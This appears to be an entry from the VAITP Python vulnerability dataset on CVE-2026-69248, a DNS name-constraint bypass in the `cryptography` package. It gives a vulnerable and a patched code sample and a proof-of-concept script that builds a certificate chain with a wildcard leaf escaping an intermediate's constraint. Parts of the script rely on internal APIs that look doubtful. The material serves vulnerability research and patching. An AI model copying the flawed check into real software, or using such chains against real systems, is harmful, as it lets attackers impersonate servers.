CVE-2026-69248
`cryptography`: Improper wildcard handling allows DNS name constraint bypass.
- CVSS 6.9
- 295
- Input Validation and Sanitization
- Remote
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.
- CWE
- 295
- CVSS base score
- 6.9
- Published
- 2026-08-03
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Algorithm
- Category
- Input Validation and Sanitization
- Subcategory
- Improper SSL/TLS Certificate Validation
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- cryptography
- Fixed by upgrading
- Yes
Solution
Upgrade `cryptography` to version 49.0.0 or later.
Vulnerable code sample
class NameConstraintValidator:
"""
A conceptual class for validating certificate name constraints.
"""
def _matches_dns(self, name: bytes, constraint: bytes) -> bool:
"""
Checks if a DNS name from a certificate is permitted by a constraint.
`name` is from the certificate, `constraint` from the CA's permittedSubtree.
"""
name = name.lower()
constraint = constraint.lower()
# An exact match is always permitted.
if name == constraint:
return True
# If the constraint is a domain (e.g., `.example.com`), then any
# name that is a subdomain is permitted. This includes wildcards.
if constraint.startswith(b"."):
if name.endswith(constraint) or name == constraint[1:]:
return True
# This logic handles when the name from the certificate is a wildcard.
if name.startswith(b"*."):
# VULNERABLE: A wildcard name is incorrectly allowed if the constraint
# is a more specific hostname within the same parent domain.
if constraint.endswith(name[1:]):
return True
return FalsePatched code sample
class NameConstraintValidator:
"""
A conceptual class for validating certificate name constraints.
"""
def _matches_dns(self, name: bytes, constraint: bytes) -> bool:
"""
Checks if a DNS name from a certificate is permitted by a constraint.
`name` is from the certificate, `constraint` from the CA's permittedSubtree.
"""
name = name.lower()
constraint = constraint.lower()
# An exact match is always permitted.
if name == constraint:
return True
# If the constraint is a domain (e.g., `.example.com`), then any
# name that is a subdomain is permitted. This includes wildcards.
if constraint.startswith(b"."):
if name.endswith(constraint) or name == constraint[1:]:
return True
# This logic handles when the name from the certificate is a wildcard.
if name.startswith(b"*."):
# FIX: A wildcard name can only match a domain constraint (e.g. '.example.com'),
# not a more specific host constraint (e.g. 'foo.example.com').
if constraint.startswith(b".") and constraint == name[1:]:
return True
return FalsePayload
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# This script generates a certificate chain that exploits CVE-2026-69248
# and then attempts to verify it.
#
# - Root CA: A self-signed root certificate.
# - Intermediate CA: Signed by the root, has a nameConstraint permitting only 'foo.example.com'.
# - Leaf Certificate: Signed by the intermediate, has a SAN of '*.example.com'.
#
# On vulnerable versions of `cryptography` (< 49.0.0), this chain will
# incorrectly verify. On patched versions, it will fail as expected.
def generate_private_key():
"""Generates an RSA private key."""
return rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
def create_certificate(subject_name, issuer_name, subject_key, issuer_key, is_ca, extensions):
"""A helper function to create and sign a certificate."""
builder = x509.CertificateBuilder().subject_name(
subject_name
).issuer_name(
issuer_name
).public_key(
subject_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
)
for ext in extensions:
builder = builder.add_extension(ext, critical=ext.critical)
return builder.sign(issuer_key, hashes.SHA256(), default_backend())
# 1. Generate keys for all parties
root_key = generate_private_key()
intermediate_key = generate_private_key()
leaf_key = generate_private_key()
# 2. Create the self-signed Root CA certificate
root_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Root CA")])
root_cert_extensions = [
x509.BasicConstraints(ca=True, path_length=None),
x509.KeyUsage(key_cert_sign=True, crl_sign=True, digital_signature=False, content_commitment=False,
key_encipherment=False, data_encipherment=False, key_agreement=False, encipher_only=False, decipher_only=False),
x509.SubjectKeyIdentifier.from_public_key(root_key.public_key())
]
root_cert = create_certificate(root_name, root_name, root_key, root_key, True, root_cert_extensions)
# 3. Create the constrained Intermediate CA certificate
intermediate_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Constrained Intermediate CA")])
intermediate_cert_extensions = [
x509.BasicConstraints(ca=True, path_length=0),
x509.KeyUsage(key_cert_sign=True, crl_sign=True, digital_signature=False, content_commitment=False,
key_encipherment=False, data_encipherment=False, key_agreement=False, encipher_only=False, decipher_only=False),
x509.SubjectKeyIdentifier.from_public_key(intermediate_key.public_key()),
x509.AuthorityKeyIdentifier.from_issuer_public_key(root_key.public_key()),
# CRITICAL: This constraint permits ONLY 'foo.example.com'
x509.NameConstraints(
permitted_subtrees=[x509.DNSName(u"foo.example.com")],
excluded_subtrees=None
)
]
intermediate_cert = create_certificate(intermediate_name, root_name, intermediate_key, root_key, True, intermediate_cert_extensions)
# 4. Create the Leaf certificate with a wildcard SAN
# This SAN should be rejected because '*.example.com' is not within 'foo.example.com'
leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"malicious.server")])
leaf_cert_extensions = [
x509.BasicConstraints(ca=False, path_length=None),
x509.KeyUsage(digital_signature=True, key_encipherment=True, content_commitment=False, data_encipherment=False,
key_agreement=False, key_cert_sign=False, crl_sign=False, encipher_only=False, decipher_only=False),
x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()),
x509.AuthorityKeyIdentifier.from_issuer_public_key(intermediate_key.public_key()),
x509.ExtendedKeyUsage([x509.oid.ExtendedKeyUsageOID.SERVER_AUTH]),
# CRITICAL: The wildcard SAN that attempts to escape the constraint
x509.SubjectAlternativeName([x509.DNSName(u"*.example.com")])
]
leaf_cert = create_certificate(leaf_name, intermediate_name, leaf_key, intermediate_key, False, leaf_cert_extensions)
# 5. Serialize certificates to PEM for potential use/inspection
root_cert_pem = root_cert.public_bytes(serialization.Encoding.PEM)
intermediate_cert_pem = intermediate_cert.public_bytes(serialization.Encoding.PEM)
leaf_cert_pem = leaf_cert.public_bytes(serialization.Encoding.PEM)
# Payload demonstration: Use an independent verification library (pyopenssl is often
# used by cryptography internally) or cryptography's own verifier to test the chain.
# For simplicity, this uses the `cryptography` library's underlying verifier.
# This requires `pyca-cryptography` which is an internal detail but can be used for PoCs.
try:
from cryptography.hazmat._oid import NameConstraintOID
from cryptography.hazmat.bindings._rust import x509 as rust_x509
# Setup the verifier
store = rust_x509.Store()
store.add_cert(root_cert)
untrusted = [intermediate_cert]
ctx = rust_x509.StoreContext(store, leaf_cert, untrusted)
# On vulnerable versions, this `verify()` call will pass without error.
# On patched versions (>= 49.0.0), this will raise an exception.
ctx.verify()
print("[-] VULNERABLE: Certificate chain verification SUCCEEDED.")
print("[-] The leaf certificate with SAN '*.example.com' was incorrectly accepted despite the intermediate's name constraint for 'foo.example.com'.")
except Exception as e:
# Check if the error is the expected one for a patched version.
# The exact error can vary, but it will be a verification failure.
# A common one is `STORE_CTX_INVALID_POLICY`.
if "name constraints" in str(e).lower() or "invalid policy" in str(e).lower():
print("[+] PATCHED: Certificate chain verification FAILED as expected.")
print(f"[+] Error: {e}")
else:
print(f"[!] An unexpected error occurred during verification: {e}")
# The generated certificates (PEM format) are the core of the payload.
print("\n--- Root CA Certificate (PEM) ---")
print(root_cert_pem.decode())
print("\n--- Constrained Intermediate CA Certificate (PEM) ---")
print(intermediate_cert_pem.decode())
print("\n--- Malicious Leaf Certificate (PEM) ---")
print(leaf_cert_pem.decode())
Cite this entry
@misc{vaitp:cve202669248,
title = {{`cryptography`: Improper wildcard handling allows DNS name constraint bypass.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-69248},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-69248/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
